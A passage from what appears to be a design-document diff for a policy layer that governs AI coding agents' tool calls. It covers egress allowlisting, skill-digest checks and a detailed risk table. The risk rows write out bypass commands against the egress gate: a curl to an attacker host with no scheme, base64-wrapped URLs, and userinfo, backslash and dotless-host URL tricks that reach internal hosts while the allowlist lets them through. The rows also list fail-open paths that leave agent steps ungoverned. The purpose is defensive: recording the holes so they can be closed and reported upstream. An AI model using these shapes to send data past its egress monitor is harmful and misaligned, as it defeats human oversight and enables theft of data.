dispatches many more, and each new one is a `tools:` registration plus a `mapping.yaml` row plus a matcher entry — additive, but not automatic, and not something this slice's demo should be read as having done. The `runtime_error:tool_unknown` wall that made `Bash` and `bash` both necessary is unchanged and is what fails an unregistered tool closed. + +Three things this slice leaves open, stated here rather than left to the risk table alone: + +1. **The extractor's miss direction is this slice's, and it is a miss rather than a block** (risk row 22). `egress.rego`'s gate is `undefined` when no destination resolves, so an obfuscated or novel egress form falls through to `allow` — measured, and captured in the runbook rather than asserted: `curl exfil.attacker.test/steal` (no scheme) and `curl $(echo | base64 -d)` are both allowed against the same allowlist that denies the plain form. A command reaching two hosts has its first examined and the rest unexamined, for the same structural reason: the gate takes one destination. The annotator's own doc comment says so at the point of the code, and so does §5 of the runbook. + +2. **The result gate's one-shape assumption is *not* this slice's and stays unassigned** (risk row 24). A hookmap declares `outputs.from` once per hook exactly as the manifest declared `policy_target` once per intervention point. V9 bounds the exposure by widening the request gate's matcher only, and no more. The general close is the `outputs` counterpart of S10's `by_tool` table; it needs its own measurements per host, and the two shipped hookmaps' `outputs` blocks already differ — `mirrors` on one, a real `exit_status` path on the other. Nothing here answers it, and nothing here should be read as having narrowed it. + +3. **The registry check on the `by_tool` table is existence-only.** `test/path-dialects.test.ts` checks that every key in `policy_target_argument.by_tool` is a tool `policy/manifest.yaml`'s own `tools:` registry knows. It can say `WebFetch` is registered; it can never say `WebFetch` takes a `url`. That is the same limit §V8 measured for hookmap `tools` entries and it has the same cause: one manifest serves both hosts, so the registry deliberately names more tools than either host dispatches, and nothing in this repository carries a tool's argument shape. The `by_tool` values are held honest by live measurement per tool — §V5's for `bash`, C5's above for `webfetch` — never by a check. + +--- + +## V10: A hook AGT has no host for + +**Demo:** Load a skill whose bytes changed since it was approved. AGT's stock `content_hash` gate denies it, driven by `steps/skillLoad` — an ACS hook no AGT host package implements, deciding through AGT's own unforked bundle. + +This is R8.3 answered by building it, and R8.4's whole subject. It is also the first slice where the headroom argument is *run* rather than shown, which is the sequencing the frame asks for: completeness first, headroom at the end. + +| # | Place | Component | Affordance | Control | Wires Out | Returns To | +|---|-------|-----------|------------|---------|-----------|------------| +| N56 | P3 | guardian | `assembleSkillLoadSnapshot()` — a third sibling beside V1's and V4's: `tool_call.name` ← `skill_id`, `tool_call.content_hash` ← `digest.value` | call | → N30 | — | +| N21 | P3 | guardian | `validateEnvelope()` — gains `hooks/skill-load.json` | call | → N22, → N27 | — | +| N28 | P3 | guardian | `buildServerHello()` — `methods_evaluated` gains `steps/skillLoad` | call | → N26 | → N5, → N14 | +| S10 | shared | store | `mapping.yaml` — a row binding `steps/skillLoad` to an AGT intervention point | — | — | → N23, → N24 | +| S8 | P3.1 | store | `data.agt.defaults.config` — gains `content_hash.enforce` | — | — | → N30 | +| S7 | P3.1 | store | `policy/manifest.yaml` — the approved digest, on the skill's own `tools:` entry | — | — | → N31 | + +**This slice's affordances are N56, N21, N28, S10, S8, S7.** + +### Why this gate is reachable at all + +Two facts, both measured, neither obvious from reading AGT. + +**AGT's `$defs/tool` is `additionalProperties: true`,** so a manifest tool entry may declare a `content_hash` — legal rather than merely tolerated. And the SDK carries it through: reading AGT's own `policyInput` back out of the bridge's evidence path, `input.tool` came back as `{"content_hash":"sha-256:APPROVED","id":"code-reviewer","type":"Tool","name":"code-reviewer"}`. + +With `config.content_hash.enforce: true` and the observed hash placed at `snapshot.tool_call.content_hash`, all three stock behaviours fire: + +| Observed | Verdict | +|---|---| +| matches the declared | `allow` | +| differs | `deny` `tool_content_hash_mismatch` — *"declared sha-256:APPROVED but observed sha-256:POISONED"* | +| absent | `deny` `tool_content_hash_mismatch` — *"manifest declared tool.content_hash but snapshot.tool_call.content_hash was missing"* | + +The gate needs exactly one thing from this side: a `snapshot.tool_call.content_hash`. ACS supplies it. + +### The two documents were written independently about the same threat + +`hooks/skill-load.json` requires `digest {algorithm, value}` and says what a Guardian is to do with it: + +> The Guardian compares it against the digest it approved at `steps/skillRegister`; a mismatch means the artifact changed between registration and load (tamper or swap). +> +> A load the Guardian cannot tie to an approved registration, or whose digest differs from the approved one, is unverifiable and SHOULD be denied. + +That is, clause for clause, what `content_hash.rego` decides — mismatch denies, and declared-but-unobserved denies. Neither document cites the other. + +**⚠️ The subject differs, and the slice must say so rather than let the demo imply otherwise.** AGT's gate is about a **tool**; ACS v0.1.0 puts the integrity digest on a **skill**. The AgBOM makes the split explicit rather than incidental: `skill_fields.definition` is required to carry `{ref, digest}` and is described as *"the surface attackers poison"*, while `tool_fields` requires only `capability`. So this is not one field living at a different address — it is the same control applied to a different component class, and the published claim is "AGT's rule decides an ACS-native subject", never "ACS carries AGT's tool hash". + +### The limit, stated in the slice rather than discovered in the demo + +**⚠️ The approved digest is manifest-static, and it cannot be otherwise from this side.** `content_hash.rego` reads the declared hash from `input.tool.content_hash` and nowhere else. `input.tool` is resolved by the SDK from the manifest's `tools:` catalog, keyed by `tool_call.name`. There is no config hook — no `declared_paths` counterpart to `egress`'s `destination_paths` — and annotations are not consulted. + +So a digest a Guardian approved at `steps/skillRegister` **cannot reach this gate through session state.** V10 declares the approved digest in the manifest and says so plainly. The register→load binding ACS actually specifies — persist `(skill_id, digest)` at registration, check the pair at load — is a Guardian-side control that AGT has no part in, and V10 does not build it. Closing the gap the other way would mean AGT accepting a declared hash from the snapshot, which weakens AGT's own trust model; that is an upstream conversation, not a slice. + +**⚠️ V10 depends on V9 and cannot be reordered.** A skill-load snapshot has no `command` argument, so under the pre-V9 manifest it hits `runtime_error:path_missing` before `content_hash` is consulted — the identical wall V9 measured for `WebFetch`. The normalised policy-target leaf is the dependency, not the egress gate. + +### Which hooks this implementation instruments, and which it does not + +D3 is closed by this slice, so the number belongs here — and the denominator has to be stated with it, because two correct counts are in circulation. `hooks/` holds 29 files: seven are `.acs-provenance` profile variants of a sibling, leaving **22 hook payload schemas**, of which **19 are `steps/*`** and three are not (`agbom/snapshot`, `agbom/changed`, `system/ping`). R5.4 asks which `steps/*` hooks are instrumented, so **19 is this row's denominator**, and it is the figure V1 planning established by counting the schemas on disk against `specification.md` §5's stale table of 16. + +This implementation instruments **three of the nineteen**: `steps/toolCallRequest`, `steps/toolCallResult`, `steps/skillLoad`. The other sixteen are not implemented, and most are not named in `mapping.yaml` either — that table declares AGT's eight intervention points against the ACS methods they map to, which is six `steps/*` methods and two nulls, so it was never a coverage statement about ACS's surface. What speaks to a conformant client is `buildServerHello`'s `methods_evaluated`: a method omitted there tells the client, in `handshake.json`'s own words, to treat that gate as ALLOW-by-default. + +Three of nineteen is the honest figure, and it is the frame this slice's headroom claim has to sit inside: the argument is not that ACS's surface is covered, it is that one of its uncovered hooks already drives an unforked AGT rule. + +--- + **⚠️ Found by V5, pre-existing, and NOT V5's to repair — six hookmap faults that are decidable without a payload are answered by the delivery posture, so under `proceed` the step runs ungoverned.** V5 put three static checks on the wrong seam in three consecutive review rounds — `mirrors`, then the `exit_status` both-forms refusal, then the request gate's scopability — and each time the symptom was identical: `buildEnvelope` throws, `govern-step` catches it at stage `"request"`, `applyFailurePosture` answers, and under `proceed` (the spec default, and what this deployment ships) the tool call proceeds with an audited fail-open. Fixing V5's three exposed that the seam already carries six more, every one of them a property of the hookmap alone: | Fault, decidable from the hookmap with no payload | Where it throws today | Measured under the default posture | @@ -653,12 +1002,22 @@ Not repaired in V5 because every one predates this slice, none is reachable thro | 17 | ⚠️ On OpenCode, `tool.execute.after`'s `metadata` carries **its own copy of the output**, so a redaction that patches only the leaf leaves the plaintext in the host's session record | V5, V7 | The slice's central hazard, and it **inverts V4's central safety property**: V4 withholds by cloning the host's own object so every sibling survives, which is exactly right where siblings are unrelated fields and exactly wrong where one mirrors the leaf. Measured — the model received `[REDACTED]` (zero copies in the `message` table) while the persisted part kept `metadata.output: "TOKEN=ghp_ONLYINOUTPUT999\n"`, with nothing malformed and nothing warning. Handled structurally: S2 declares `outputs.mirrors` and `replacingOutput` patches every one, under the same three guards the leaf patch has — a mirror naming a field the tool never produced, or one whose type the replacement does not match, is refused rather than written, because a replacement of a shape the host declines delivers the original. **⚠️ The post-condition beside it was redesigned during V5 execution, and the first design broke the *shipped* host.** It asked whether the withheld value survived anywhere in the replacement — which conflates "holds the same value" with "is a copy of the leaf", and nothing in a payload distinguishes them. Claude Code's `tool_response` carries `stdout` and `stderr`, both `""` for any command that prints nothing, so `stderr` read as an undeclared mirror and **every silent command became a blocking stop with no audit entry** — `touch`, `mkdir`, `git add`. Measured end to end through the shim; invisible to the suite because no test fed an empty output at the result gate. What ships instead is two questions: every **declared** mirror received the replacement, and — **only for a hookmap that declares mirrors at all** — no other field still holds the original. A host declaring none has said it has no duplicate-carrying siblings, so the scan never runs for it. **⚠️ That gating narrows the root error; it does not remove it, and saying otherwise would be the third unmeasured claim this branch has had to retract.** The second question is still the same "holds the same value ⇒ is a copy of the leaf" inference — so on a host that *does* declare mirrors, an unrelated sibling coincidentally equal to the leaf is refused, at the preflight, as a blocking stop with no audit entry. That is the exact failure that broke host #1, surviving for host #2 — the subject of this slice. Measured at both ends and pinned as a deliberate over-refusal. Two further limits, stated because they are easy to assume away: the scan walks only the clone of `outputs.within`, so a duplicate the host keeps **outside** that container is invisible however it is declared; and an undeclared mirror on a host that declares **none** is not detectable at all. All three are the hookmap author's to get right, and V7's matrix carries the cells | | 18 | ⚠️ On OpenCode, a result-gate `deny` expressed as a **throw** withholds from the model but cannot scrub that copy | V5, V7 | Measured both ways: the plugin's own view of `metadata.output` was `[WITHHELD]` at the moment of the throw, and the record kept the plaintext — OpenCode discards the plugin's mutations on the throw path and rebuilds `metadata` from its own pre-hook copy (the rebuilt object had also lost `exit` and `truncated`, which is what proves it is a different object). So deny at this gate **withholds by replacing**, never by throwing. The same conclusion §V4 reached on Claude Code — a result-gate deny goes *through* the modify mechanism — arrived at from the opposite host mechanism, which is worth stating because the two hosts fail in mirror-image ways: Claude Code's `block` reports a withholding while delivering the output, OpenCode's throw withholds the output while keeping it on disk | +| 19 | ⚠️ Widening the tool matcher turns `mapping.yaml`'s `into_argument: command` from harmless into a redaction delivered against the wrong argument | V9 | The defect V9 creates and V9 closes. Measured through the **pre-slice** `mapVerdict` and `mapping.yaml`, taken verbatim out of `be5ab38` and handed the real AGT verdict the shipped bundle produces: an AGT `transform` on a `WebFetch` call is emitted as `parameter_overrides.command`, a key the tool has no argument for, while `url` — carrying whatever AGT redacted — is delivered untouched. Not a pre-existing residual: under `^Bash$` there is exactly one tool and exactly one argument name, so the literal has never been able to misfire. Handled structurally by N54 rather than by care — the argument the policy target is read *from* and the argument an override is written *to* are one `mapping.yaml` entry read twice, so they cannot disagree. Same family as rows 15 and 17, reached from a third direction | +| 20 | ⚠️ An annotator declared in a manifest the Guardian dispatches nothing for is a **total deny**, not a no-op | V9 | Measured: a manifest carrying `annotators: egress: {type: classifier}`, evaluated by a bridge built without a dispatcher, answers `deny runtime_error:annotation_failed` for `echo hi` as readily as for a `curl`. This is the hazard `policy/manifest.drift.yaml` avoided by being a sibling file. V9 takes the other road — one manifest, `startGuardian` supplying the dispatcher unconditionally — because C9's whole point is every gate live in one Guardian. The seam already exists (`CreateBridgeOptions.annotator`); what changes is that it stops being optional. Backstopped by a test asserting a benign call is not denied under the shipped manifest, which is the one test in the slice whose absence would be silent | +| 21 | ⚠️ `cfg.egress` without an explicit `allowlist` denies every destination | V9 | `allowlist(rules)` falls back to `input.tool.security_labels`, which is `["shell"]` on every tool `policy/manifest.yaml` registers. An operator turning the gate on with a bare `egress: {}` gets a total-deny that reads like a policy decision. `policy/manifest.yaml`'s own `bash` comment anticipated the coupling but not this direction of it. Accepted and pinned by a test rather than engineered around: the fallback is AGT's, and `policy/lib` is byte-identical upstream | +| 22 | ⚠️ An egress destination the extractor cannot parse falls through to `allow`, not to `deny` | V9 | Structural, and stated rather than fixed. `egress.rego`'s gate is `undefined` when no destination resolves, so an obfuscated or novel egress form is unexamined rather than blocked. C7.2 is a detector, and a detector's misses are allows. The runbook says so in the slice's own voice, because the demo's shape invites the opposite reading, and it *shows* it — a scheme-less `curl exfil.attacker.test/steal` and a base64-wrapped form of the URL the same allowlist denies plainly are both captured being allowed. ⚠️ *This row previously ended "and V7's matrix carries the cell as `guardian_only` for exactly this reason." It does not, and cannot: the matrix has no coordinate for a gate class or a route, and `pre_tool_call × deny` already resolves `expressed`. See §V9's amendment under C7.2. The claim lives in this row, in §V9 and in the runbook — which is where it was always true* | +| 23 | ⚠️ V10's approved digest is manifest-static, so the register→load binding ACS specifies is not the binding AGT checks | V10, V7 | Not closable from this side: `content_hash.rego` reads the declared hash from `input.tool` alone, which the SDK resolves from the manifest's `tools:` catalog — no config hook, no annotations. A digest approved at `steps/skillLoad`'s own `steps/skillRegister` cannot reach the gate through session state. V10 declares the digest in the manifest and says so; the `(skill_id, digest)` binding is a Guardian-side ACS control V10 does not build. Closing it upstream would mean AGT accepting a declared hash from the snapshot, which weakens AGT's trust model — an upstream conversation, not a slice | +| 24 | ⚠️ The result gate carries the same one-shape-per-gate assumption N54 closes at the request gate, one layer out, and **nothing answers it** | V9 (bounded), unassigned (general) | Found by V9 breadboarding. A hookmap declares `outputs.from` and `outputs.within` once per hook, exactly as the manifest declared `policy_target` once per intervention point. Measured on the shipped hookmap: `$.tool_response.stdout` against a `WebFetch` result resolves to `undefined`, `buildPayload` throws, `governStep` answers with the posture, and under the shipped `proceed` **the step runs ungoverned with an audit event**. V9 bounds it by widening the `PreToolUse` matcher only — no stock gate reads a fetch's output, so the result gate buys nothing and costs a fail-open. The general close is the `outputs` counterpart of S10's `by_tool` table, and it is **not** V9's: it needs its own measurements per host, and the two hookmaps' `outputs` blocks already differ (`mirrors` on one, a real `exit_status` path on the other). Recorded with the boundary stated rather than left to be inherited | +| 25 | ⚠️ Two of `egress.rego`'s five destination paths resolving to **different** strings is `runtime_error:policy_invocation_failed`, not a priority order | V9 | Measured, against the shipped manifest and bundle: a snapshot carrying `args.url: "https://docs.anthropic.com/a"` **and** an annotation destination of `https://exfil.test/b` answers `deny runtime_error:policy_invocation_failed` — another total deny wearing a runtime-error reason. `destination(rules)` is a COMPLETE Rego rule over `some path in paths`, so two paths with two values have no single answer; two paths with the *same* value are fine (measured: `allow`, `result_labels: ["public"]`), which is what makes this specifically a conflict rather than a duplication. Not reachable across the two tools this slice governs — `WebFetch` sends `url` and an empty `raw_command`, `Bash` sends `command` and a populated one — and reachable on the first tool registered that sends both. ⚠️ *This row said "Closed **structurally** in N55", flat. It over-claimed, and the narrowing is the whole correction: **one of the two conflicts is closed and the other is not**.* What N55 closes is the **annotation-versus-argument** conflict — `annotateEgressDestination` answers `{}` whenever the snapshot's own arguments already carry a destination AGT reads (`url`, `endpoint`, `host`, `domain`), with its own test, so this deployment can never be the second voice. What nothing here closes is the **argument-versus-argument** conflict: a tool sending two of those four with different strings is the identical complete-rule failure, and both paths are the gate's own defaults with both values supplied by the tool, so there is no seam on this side to answer it at. Fail-closed in both directions — a total deny wearing a runtime-error reason, never a bypass — which is why this is a precision correction rather than a behaviour one. The stand-down list is also a copy of `default_destination_paths`, correct only while the gate runs on its defaults: `cfg.egress.destination_paths` replaces that list outright, and a deployment setting it has to revisit `ARGUMENTS_AGT_ALREADY_READS`, which now says so in its own doc comment. The tool's own argument is the better evidence anyway — it is what the tool will actually reach for, where a command line is what someone typed | +| 26 | ⚠️ `egress.rego` does not parse a URL, so **six different shapes reach the allowlist as a host the request never goes to** — and only one of the two routes can be closed from this side | V9 | AGT's parser, not this side's: `policy/lib/egress.rego`'s `host_of()` takes the substring after the scheme, cuts it at the first `/`, cuts *that* at the first `:`, and calls the remainder the host. Measured through the OPA binary the pinned SDK ships: `host_of("https://docs.anthropic.com:pw@exfil.attacker.test/steal")` is `docs.anthropic.com`, which `*.anthropic.com` covers. **This is a different and worse class than row 22.** Row 22 is a URL the extractor never finds; this is a URL that reaches the gate correctly and the *gate* mis-parses, so a reader who has absorbed "misses are allows" still wrongly believes a URL that reaches the gate was decided about. Measured against the shipped allowlist through a Guardian started from this tree with the fix below removed: that URL was **allowed on both routes**, while the same host bare was denied on both. **The shell route is now closed here; the fetch route is not.** The Guardian chooses the string it hands the gate for a `raw_command`, which is the seam the fetch route does not have. ⚠️ *This sentence used to continue "so `annotateEgressDestination` **strips the userinfo** before answering and the gate resolves the host the request actually reaches — measured, `deny egress_destination_not_allowed`, destination exfil.attacker.test not in allowlist". That mechanism is **gone**: the strip was deleted two rounds later and nothing replaced it in kind. The module no longer computes a host for this shape at all — it refuses it, and the deny now reads* destination unresolved.invalid not in allowlist. *The verdict is the same; the retracted half is the claim about how it is reached, and it is left visible for the same reason the rest of this row's retractions are.* A fetch's own `url` is the gate's **first** declared destination path and reaches `host_of()` with nothing in between; correcting that would mean editing a `.rego`, which is AGT's file, held byte-identical by `bun run verify:pin`, and is this branch's central claim. So it is recorded and captured rather than fixed — `docs/demos/v9-runbook.md` §5 has both routes' verdicts from a real run. ⚠️ *Closing this took **four** attempts, and the first three are recorded rather than tidied away, because each shipped a **different** bypass of the same class. (1) The URL was handed over as matched — the colon-bearing row above. (2) A userinfo strip bounded at the first `/`: right for a URL with a path, and on a path-less URL it read an `@` inside a query or fragment as the userinfo delimiter, so `curl https://evil.test?x=a@docs.anthropic.com` was normalised to `https://docs.anthropic.com` and **allowed** — a shape that denied before the strip existed, which briefly made the repaired route weaker than the one that could not be repaired. (3) The same strip bounded at `/`, `?` and `#`: it fixed those two rows and left the shape below untouched, because that one is not about the bound at all.* ⚠️ **The shape that survived two rounds needs no userinfo and no `@` semantics, and it is the one that matters most.** `host_of()` bounds the authority at `/` only, so query or fragment text joins the "host" — and the allowlist glob's `*` spans one dot-delimited segment, so it **swallows that text whenever the real host has no dot in it**. Measured three ways against the shipped allowlist (a live Guardian, `opa eval` of `host_of` and `deny_egress`, and `curl -w '%{url.host}'`): `curl https://metadata?x=@docs.anthropic.com`, `curl https://internal-api#@docs.anthropic.com` and `curl https://evil?x=@docs.anthropic.com` were **allowed on both routes**, and `curl` reaches `metadata`, `internal-api` and `evil`. `evil.test?x=a@…` denies only because four segments cannot match a three-segment pattern. Dotless names are *internal* names, which is the class an egress gate is deployed for — a parsing nit at two labels is an SSRF bypass at one. ⚠️ *Round three's close was then attempted as "delete the hand-rolled parse": `annotateEgressDestination` answered `new URL(...).origin` — scheme, host and port, which cannot carry a userinfo, a query or a fragment by construction — and all five shapes above denied on the shell route, each naming the real host. That is **round four**, and it opened a sixth shape.* ⚠️ **The sixth shape is a backslash, and it is the first answer this module ever gave that was both allowlisted and wrong.** Measured three ways for `curl https://docs.anthropic.com\@evil.test/steal`: a WHATWG parse answers the origin `https://docs.anthropic.com`, because WHATWG treats `\` as `/` in a special scheme and ends the authority there; `host_of()` answers `docs.anthropic.com\@evil.test`; and `curl` — after an unquoted shell has removed the backslash entirely — reaches `evil.test`. So the annotator handed the gate an **allowlisted** host for an off-allowlist destination and the call allowed. Rounds one to three under-informed the gate; round four misinformed it. **Closed by inverting the default, not by a fifth pattern.** Four rounds producing four shapes is evidence that the defect was never a missing delimiter: three parsers disagree — WHATWG, `host_of()`, and curl-after-shell-expansion — and computing "the host this will reach" from a **pre-shell** command line is undecidable without both a shell parser and curl's parser, neither of which this side has. So `annotateEgressDestination` now recognises only the authority shapes no parser could read two ways (a plain host, an optional numeric port, terminated by `/`, `?`, `#` or the end of the token), answers those with `new URL(...).origin`, and answers **everything else** — the parse throw included — with `https://unresolved.invalid`, a name RFC 2606 reserves so that it can never resolve and can never be legitimately allowlisted. **`{}` is not a safe answer to ambiguity, and that is the load-bearing point:** with no destination the gate resolves nothing, is `undefined`, and the call **allows**, so `{}` is kept only for the genuinely-no-URL cases. The function stays total — a throw would be `runtime_error:annotation_failed` on every call in the deployment. Measured through a live Guardian across fourteen adversarial commands and four allowlisted controls: the shell route denies all fourteen and allows all four. **The durable guard is differential, not another case.** Each of the four rounds added assertions for the shape it was shown and missed the next, so the suite now carries a corpus of eighteen command lines pinned against the host `curl` itself resolves — measured through a dead local proxy so no request leaves the machine, regenerated by `scripts/regenerate-curl-resolved-hosts.sh` — asserting that the annotator answers curl's host or refuses, never a third host and never an allowlisted one. **Three recorded consequences, all measured:** every destination is now an origin rather than a full URL, which no rule this deployment runs ever read (only `host_of(dest)` is consulted) and which would matter only to a deployment pointing `cfg.egress.destination_paths` at a rule expecting a whole URL; a URL parse lowercases the host against a case-sensitive glob, so `curl https://DOCS.ANTHROPIC.COM/x` denies on the fetch route and allows on the shell route — correct, since DNS is case-insensitive, but a **widening**, with `https://EVIL.TEST/x` and `https://docs.anthropic.com.evil.test/x` measured as still denying; and `curl https://docs.anthropic%2ecom/x` now **denies though `curl` reaches the allowlisted `docs.anthropic.com`** — a genuine **over-block**, in the fail-closed direction, and the price of not adjudicating a percent-escape the three parsers read differently. **A fourth consequence is operational:** for an ambiguous input the deny message reads *destination unresolved.invalid not in allowlist*, which names no host. The raw command is unchanged in the audit envelope and the module's doc comment carries the explanation for whoever greps that string. **After this round the shell route is stricter than the fetch route, and the demo must not imply otherwise.** Of the six shapes the fetch route still allows **two** — the userinfo carrying a `:`, and the dotless host (all three of its URLs) — while the shell route allows none of them; the fetch route also **over-blocks** `https://DOCS.ANTHROPIC.COM/x`, which the shell route allows. **The upstream ask, in the form the measurements support.** `host_of()` should bound the authority at the first of `@`, `?` or `#` before splitting on `:`, and should treat `\` as a host-terminator or reject a host containing one. Measured, it does none of those. The consequence to lead with is not the parsing nit but the **dotless host**: because the allowlist glob's `*` spans one segment, a mis-bounded authority stops being cosmetic and becomes an allow for exactly the internal names egress control exists to protect. That is what turns this from a tidiness report into a security one, and it is why the fetch route — where `args.url` reaches `host_of()` with nothing in between — still allows all three of the dotless shapes named above. Worth reporting upstream, alongside row 6 | +| 27 | ⚠️ With the shipped allowlist, **every shell command whose text merely contains an off-allowlist URL is denied**, whether or not the command reaches anything | V9 | Accepted, stated, and captured rather than re-tuned. Measured against the shipped configuration: `git clone https://github.com/openai/whisper`, `pip install -i https://pypi.org/simple requests` and `echo 'docs at https://example.org/readme'` all answer `deny egress_destination_not_allowed`, while `npm install` and `ls -la` answer `allow`. The allowlist ships one reachable entry, so this deployment is in effect *deny any shell command mentioning a URL* — a URL in an `echo`, in a shell comment, or in a flag value the command never dereferences is denied like a `curl` to it. `annotate-egress.ts` already reasons about false positives from a bare-host pattern and did not address this residual class. **Neither re-tuning is available.** Widening the allowlist would edit a demo-load-bearing file the runbook captures; narrowing the extractor to distinguish *reaches* from *mentions* means parsing shell, which this slice did not shape and which fails in the permissive direction when it is wrong — worse than over-blocking, in a gate whose miss direction is already allow. So the direction is published instead: the runbook's §5 carries the captured rows beside row 22's miss direction, and the README's install step now says that copying the widened `settings.json` turns egress enforcement on for shell commands too. The operational consequence is live rather than hypothetical — this repository's own `.claude/settings.json` already carries the widened matcher | + ## Open decisions carried from shaping | # | Decision | Blocks | |---|----------|--------| | ~~D1~~ | ✅ **Closed: confirmed, OpenCode is host #2.** Resolved during V5 planning by running OpenCode **1.18.15**, not by reading it. Its plugin API expresses both gates: modify by mutating the object each hook is handed, deny by throwing at the request gate and by replacing at the result gate. ⚠️ *This row said "against an unchanged adapter", which is what planning believed and what execution disproved — the adapter gained two hookmap fields, four load-time gates, a normalising `loadHookmap`, and the `tools` rule both shims share. (It also named a count of changed files; that count went stale in the review round that followed and is gone rather than re-measured.) The claim that survives is stronger and is R3.4's actual subject: **no per-host fork.** Every line landed in `packages/host-adapter/src`, the package both hosts run, and host #1's own source is +0/−0.* Two conditions attach, both new watch-fors in §V5 and risk rows 17/18 — `metadata` mirrors the output leaf, and a throw cannot scrub that mirror. R3.6 moves from 🟡 *leaning yes* to confirmed | ~~V5~~ | -| D3 | Hook coverage beyond AGT's eight | V7 scope | +| ~~D3~~ | ✅ **Closed: three `steps/*` hooks of nineteen, and the third earns its place by driving an AGT rule.** `steps/toolCallRequest` and `steps/toolCallResult` through V8; `steps/skillLoad` added by V10 because `hooks/skill-load.json`'s own text is `content_hash.rego`'s decision clause for clause, and no AGT host package has a hook for it. Coverage beyond AGT's eight points was always going to be a spec exercise unless a hook did real policy work — this one does. ⚠️ *V9/V10 planning briefly restated the denominator as 22 and called V1's 19 stale. It is not: 22 is every hook payload schema, 19 is the `steps/*` subset, and R5.4 asks about `steps/*`. V1's figure stands and §V10 now carries both counts with the three non-`steps` schemas named* | ~~V7~~, V10 | | D4 | Spec `steps/modelCall` for v0.2 as part of this work | V7 red cells | | D5 | Determinism of the demo | V1 onward | | ~~D7~~ | ✅ **Closed: Rego.** Cedar's sole advantage was avoiding an external binary; the SDK bundles OPA, so that advantage does not exist. Stock bundle verified 105/105 under the bundled OPA | ~~V1~~ | @@ -677,4 +1036,14 @@ V2 planning produced no corrections — §V2 had nothing wrong in it — but it **V5 execution produced a seventh correction, and it falsifies a claim V4, V5's plan and this document all repeated** — that the parked landing check was "one check" closing both holes. Building it showed a per-target comparison passes all three of V4's recorded bundles, because each one's declared targets genuinely change; the plan's own test had used a no-op fixture and so never met the case V4 measured. The holes are two questions — **value** at the request gate, **observability** at the result gate — and they are closed by two checks in the two files that respectively can and cannot know which target is the projected leaf. Recorded at §V4's parked item and §V5's inherited-scope note. Worth stating as its own entry because the claim survived three documents and a planning round unchallenged: it was repeated, never re-measured, and only building it caught it. +**V9/V10 planning produced five corrections, closed D3 and R5.4, and answered R8.3 by building it** — every one measured against the pinned bundle through the shipped assembler and the shipped `mapVerdict`, never read out of AGT's documentation. Its spike is `docs/shaping/spike-unreached-gates.md`. In order of consequence: the manifest's single `policy_target` **denies a benign call on `runtime_error:path_missing`** for any tool without a `command` argument, so governing a second tool shape is code before it is policy, and AGT's `intervention_point` being `additionalProperties: false` is what forecloses the easy answer; `mapping.yaml`'s `into_argument: command` is a **literal**, so the moment the matcher widens a redaction is emitted against an argument the tool does not have while the original ships — the third arrival of rows 15 and 17's family; a manifest declaring an annotator the Guardian dispatches nothing for is a **total deny**, benign calls included, which is the unstated reason `manifest.drift.yaml` is a sibling file; AGT's `$defs/tool` is `additionalProperties: true` and the SDK carries an extra key through to `input.tool`, which is the whole reason `content_hash` is reachable at all; and `cfg.egress` without an explicit `allowlist` falls back to `input.tool.security_labels` and denies everything. + +**Two of the five invert claims this project had already made in conversation**, which is why they are listed rather than folded into the slice sections. Egress had been described as a mapping problem needing an extraction step: measured, `egress.rego`'s **first** default destination path is `snapshot.tool_call.args.url` and `assemblePreToolCallSnapshot` already lands there, so for a `url`-bearing tool it is one `data.json` key with no code and no Rego — the strongest form of R2.1 in the project, and it had been filed as work. And `content_hash` had been described as a field ACS carries at a different address: measured, ACS puts the integrity digest on a **skill** and AGT's gate is about a **tool**, with the AgBOM making the split explicit (`skill_fields.definition` required and named "the surface attackers poison"; `tool_fields` requiring only `capability`). Same control, different component class — a weaker claim than "different address", and the one V10 has to publish. + +**V9 execution produced five corrections of its own, and two of them retract sentences this document had already published.** Each is recorded at the row or subsection it governs in §V9, and each was measured against the shipped build rather than reasoned about. In order of consequence: an annotator's `from` is a **liveness precondition, not a projection** — an unresolvable one denies the whole call with the annotator never dispatched, `from` is a required field so omitting it is not available, and the dispatcher receives AGT's whole preliminary policy input rather than the resolved value, which is why `raw_command` is on every request snapshot and not only on the ones that have one; the `guardian_only` / `expressed` **matrix-cell** claim is not implementable, because V7's matrix is 8 points × 5 verdicts read off the SDK's own consts with no coordinate for a gate class or a route and `pre_tool_call × deny` already resolving `expressed` — the distinction is real, the cell is not, and it is stated in §V9 and the runbook instead; two of `egress.rego`'s five destination paths resolving to different strings is `runtime_error:policy_invocation_failed` rather than a priority order, which is risk row 25 and is closed structurally in N55; the demo matrix is eight rows measured on the manifest this slice ships rather than the two partial tables planning carried; and OpenCode's fetch tool has its **name** measured in §V5 and its **argument key** measured live during execution, which are two different kinds of evidence and are now labelled as such. + +**A sixth correction belongs to `packages/conformance` and inverts a scope statement made during planning.** V9 was recorded as touching that package *not at all*. It adds no cell to the coverage matrix and changes neither of its axes — that part stands and is the real point. But declaring an annotator on the shipped manifest meant every construction of a bridge against that manifest had to supply a dispatcher or deny every call with `runtime_error:annotation_failed`, and two of those constructions are production files in `packages/conformance/src/`. They are now routed, with the Guardian and every test, through one `createDeploymentBridge` behind a declared `guardian/deployment` subpath export — so the harness and the deployment provably build the same bridge, which is a stronger property than the untouched-package claim it replaces. + +**V9 execution also corrected one measured mechanism it had inherited.** §C7.2 said `host_of()` "splits on `://` and `/`, so handed `curl https://evil.test/x` it answers `curl https`". Run through the OPA binary the pinned SDK ships, it answers `evil.test` — the embedded, path-bounded URL is the case that *works*. The real reasons extraction is needed are in §C7.2's amended text. ⚠️ *A first draft of this paragraph ended "so no copy of the wrong mechanism survives in the tree", which was itself untrue — `docs/shaping/spike-unreached-gates.md` §A3 still carried it, in the very document this slice sends readers to for its measurements. It now carries a ⚠️ retraction with the OPA output beside it. What can be claimed, because it was swept rather than assumed: `git ls-files | xargs grep -l host_of` names eight tracked files. Two are the vendored upstream bundle (`policy/lib/egress.rego` and its upstream test), which this repository does not author and `verify:pin` holds byte-identical. The other six — `packages/guardian/src/annotate-egress.ts`, `policy/manifest.yaml`, `hosts/claude-code/claude-code.hookmap.yaml`, `docs/demos/v9-runbook.md`, this file, and §A3 as amended — were each read, and each states the two-branch behaviour. The old sentence still occurs three times in the shipped doc set — twice in this file and once in §A3 — and every one of those is a quotation inside a retraction, never a statement.* + **V2's whole-branch review produced one correction of its own**, recorded at the watch-for it governs: "S6 records the wire verbatim" over-claimed byte identity that the implementation never had, and the over-claim had propagated verbatim from the plan's global constraint 11 into the slice README, the runbook, the shaping doc's S6 row, and the Inspector's renderer. Corrected in wording, not in code — see the watch-for above for why storing raw bytes would be the worse 